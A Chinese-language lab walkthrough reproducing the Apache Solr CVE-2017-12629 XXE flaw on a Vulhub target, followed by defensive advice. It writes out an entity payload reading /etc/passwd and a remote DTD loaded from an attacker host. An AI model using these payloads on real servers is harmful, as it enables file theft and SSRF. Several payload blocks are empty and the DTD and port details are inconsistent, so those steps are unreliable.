Apache Solr CVE-2017-12629 XXE 漏洞复现与利用(基于 Vulhub)
深入剖析 Apache Solr CVE-2017-12629 XXE 漏洞(基于 Vulhub)
一、前言
CVE-2017-12629 是一个影响 Apache Solr 的 **XML 外部实体注入(XXE)**漏洞,允许攻击者通过构造恶意的 XML 输入,加载外部实体或敏感文件,从而导致信息泄露或进一步攻击。该漏洞难度中等偏上,需要结合远程 DTD(文档类型定义)加载和外带技术进行利用。本文基于 Vulhub 靶场和 Kali Linux 环境,详细复现该漏洞,涵盖环境搭建、原理分析、利用流程及防护建议,旨在帮助安全从业者深入理解 XXE 漏洞的危害与利用方式。
本文将重点讲解:
- 漏洞触发原理及利用链
- 远程 DTD 构造与外带攻击
- 完整的攻击请求构造与验证
- 防护措施与注意事项
二、漏洞概述
- 漏洞编号:CVE-2017-12629
- 漏洞类型:XXE(XML External Entity Injection)
- 影响版本:Apache Solr < 7.1.0
- 测试平台:Vulhub + Kali Linux
- 难度:中等偏上(需构造远程 DTD 和外带攻击)
- 危害:
- 读取服务器敏感文件(如
/etc/passwd) - 触发内网资源访问,潜在导致 SSRF
- 结合其他漏洞进一步提权或控制服务器
- 读取服务器敏感文件(如
三、环境搭建
1. 前提准备
确保以下环境已就绪:
- 操作系统:Kali Linux
- 网络配置:
- NAT 模式(访问外部网络)
- 仅主机模式(Host-Only,Kali IP:
192.168.56.1,靶机 IP:192.168.56.102)
- 工具:
- 已安装 Docker 和 Docker Compose
- Burp Suite(用于抓包和构造请求)
- Python3(用于托管 DTD 文件)
- 靶场:Vulhub 的 Apache Solr CVE-2017-12629 环境
- 访问地址:
http://192.168.56.102:8983/solr/#/ - 确保靶场已成功部署(参考 Vulhub 官方文档或前文)
- 访问地址:
2. 启动 Vulhub 靶场
- 克隆 Vulhub 项目(若未下载):
1
2git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2017-12629 - 启动 Docker 容器:
1
docker-compose up -d - 验证环境:
- 访问
http://192.168.56.102:8983/solr/#/,若看到 Solr 管理界面,说明部署成功 。
- 访问
- 管理容器:
- 查看容器:
1
docker ps - 停止容器:
1
docker-compose down
- 查看容器:
四、漏洞原理
1. XXE 漏洞简介
XXE(XML External Entity Injection)是一种 XML 解析器漏洞,攻击者通过注入恶意 XML 实体,诱导解析器加载外部资源(如本地文件或远程 DTD),从而实现文件读取或网络请求。Apache Solr 的查询接口允许用户提交 XML 格式的参数,且未禁用外部实体解析,导致 XXE 漏洞。
2. 漏洞触发点
Solr 的漏洞入口位于以下接口:
1 | |
- 参数说明:
q:查询参数,接受 XML 格式的输入。wt=xml:指定响应格式为 XML。defType=xmlparser:启用 XML 解析器,触发 XXE。
3. 漏洞限制
- 无回显:Solr 不直接回显实体内容(如
/etc/passwd),需通过外带(Out-of-Band, OOB)技术利用。 - 外带攻击:通过构造远程 DTD,诱导 Solr 访问攻击者控制的服务器,从而间接读取目标文件。
4. 利用链
1 | |
五、漏洞利用流程
1. 初步访问与抓包
- 配置 Burp Suite:
- 打开 Burp Suite,设置代理(默认:
127.0.0.1:8080)。 - 配置 Firefox 浏览器使用 Burp 代理。
- 打开 Burp Suite,设置代理(默认:
- 访问 Solr 管理界面:
1
http://192.168.56.102:8983/solr/#/ - 在 Burp 中拦截请求,观察典型 GET 请求:
1
2
3
4
5GET /solr/ HTTP/1.1
Host: 192.168.56.102:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Connection: close
2. 构造远程 DTD 文件
由于 Solr 不回显文件内容,需通过外带攻击加载远程 DTD。
步骤:
- 在 Kali(IP:
192.168.56.1)上创建 DTD 文件test1.dtd:说明:1
2<!ENTITY % passwd SYSTEM "file:///etc/passwd">
<!ENTITY % err "<!ENTITY errmsg SYSTEM 'file:///etc/passwd'>">%passwd:定义实体,尝试读取目标服务器的/etc/passwd。%err:嵌套实体,构造errmsg引用%passwd,便于在 XML 中调用。
- 将
test1.dtd放入 Kali 的 HTTP 目录(如/var/www/html/):1
cp test1.dtd /var/www/html/ - 启动 HTTP 服务:确保 DTD 可通过以下地址访问:
1
python3 -m http.server 801
http://192.168.56.1/test1.dtd
3. 构造 XML Payload
创建以下 XML Payload,引用远程 DTD:
1 | |
说明:
<!ENTITY % remote SYSTEM "http://192.168.56.1/test1.dtd">:加载远程 DTD。%remote;:执行 DTD 中的定义。%err;:触发嵌套实体,尝试加载/etc/passwd。&errmsg;:引用嵌套实体,诱导 Solr 解析。
4. URL 编码 Payload
由于 Payload 将通过 GET 参数 q 提交,需进行 URL 编码。使用 Python 脚本生成编码后的 Payload:
1 | |
示例输出(部分):
1 | |
5. 构造最终攻击请求
使用 Burp Suite 的 Repeater 模块,构造以下 GET 请求:
1 | |
完整示例(替换 <Encoded_Payload> 为实际编码结果):
1 | |
6. 验证攻击效果
- 发送请求后,观察 Kali 的 HTTP 服务日志:如果看到 Solr(
1
192.168.56.102 - - [01/Aug/2025 17:52:25] "GET /test1.dtd HTTP/1.1" 200 -192.168.56.102)访问了test1.dtd,说明 DTD 被成功加载。 - 由于 Solr 不回显
/etc/passwd内容,攻击成功仅表现为 DTD 请求到达攻击者服务器,间接证明 XXE 触发。
六、原理深入分析
1. 利用链条
- 用户输入:提交包含外部实体的 XML Payload。
- Solr 解析:
defType=xmlparser触发 XML 解析器处理q参数。 - 加载 DTD:解析器访问远程 DTD(
http://192.168.56.1/test1.dtd)。 - 引用文件:DTD 中的实体尝试加载本地文件(如
/etc/passwd)。 - 外带请求:通过嵌套实体,Solr 发起对攻击者服务器的请求,携带文件内容或触发日志。
2. 关键点
defType=xmlparser:启用 Solr 的 XML 解析器,是触发 XXE 的核心。- 远程 DTD:绕过 Solr 无回显限制,通过外带技术验证文件读取。
- 嵌套实体:通过
%err和&errmsg;构造复杂实体链,确保文件被引用。
3. 限制与挑战
- 无回显:需依赖外带技术,增加利用复杂度。
- 网络限制:目标服务器需允许出站 HTTP 请求,否则 DTD 无法加载。
- DTD 构造:需要精确定义实体,避免解析错误。
七、防护建议
升级 Solr 版本
- 升级到 Apache Solr 7.1.0 或更高版本,官方已修复 XXE 漏洞。
- 定期检查 Solr 更新,应用最新补丁。
禁用 XML 解析器
- 禁用
defType=xmlparser,或限制对/solr/demo/select接口的访问。 - 在 Solr 配置文件中关闭不必要的查询解析器。
- 禁用
限制出站网络请求
- 配置防火墙,阻止 Solr 实例访问外部 HTTP 资源。
- 使用网络策略(如 iptables)限制出站流量。
启用 WAF
- 部署 Web 应用防火墙,检测包含
<!DOCTYPE或<!ENTITY的 XML 请求。 - 配置正则规则,拦截潜在 XXE Payload。
- 部署 Web 应用防火墙,检测包含
安全编码
- 在开发中禁用 XML 外部实体解析,例如:
1
2DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - 使用安全的 XML 解析库(如 SAX 或 DOM4J)。
- 在开发中禁用 XML 外部实体解析,例如:
日志监控
- 定期检查 Solr 日志,关注异常的 XML 解析请求。
- 监控出站网络流量,及时发现外带攻击。
八、总结
| 项目 | 信息 |
|---|---|
| 漏洞编号 | CVE-2017-12629 |
| 漏洞类型 | XXE(XML 外部实体注入) |
| 影响版本 | Apache Solr < 7.1.0 |
| 利用方式 | 远程 DTD + 外带攻击 |
| 关键点 | defType=xmlparser 触发 XML 解析 |
| 测试平台 | Vulhub + Kali Linux |
| 危害 | 敏感文件读取、内网探测 |
Apache Solr CVE-2017-12629 XXE 漏洞展示了 XML 解析器开放外部实体解析的严重安全隐患。虽然利用过程因无回显和网络限制较为复杂,但通过远程 DTD 和外带技术,攻击者可成功读取目标服务器的敏感文件(如 /etc/passwd)。开发者应及时升级 Solr 版本、禁用不安全的解析器、限制出站请求,并配合 WAF 和日志监控,构建多层次防御体系。
免责声明:本文内容仅供安全研究和防护参考,请勿用于非法攻击活动。
“渗透测试的艺术在于:构造、验证、提权、保持优雅”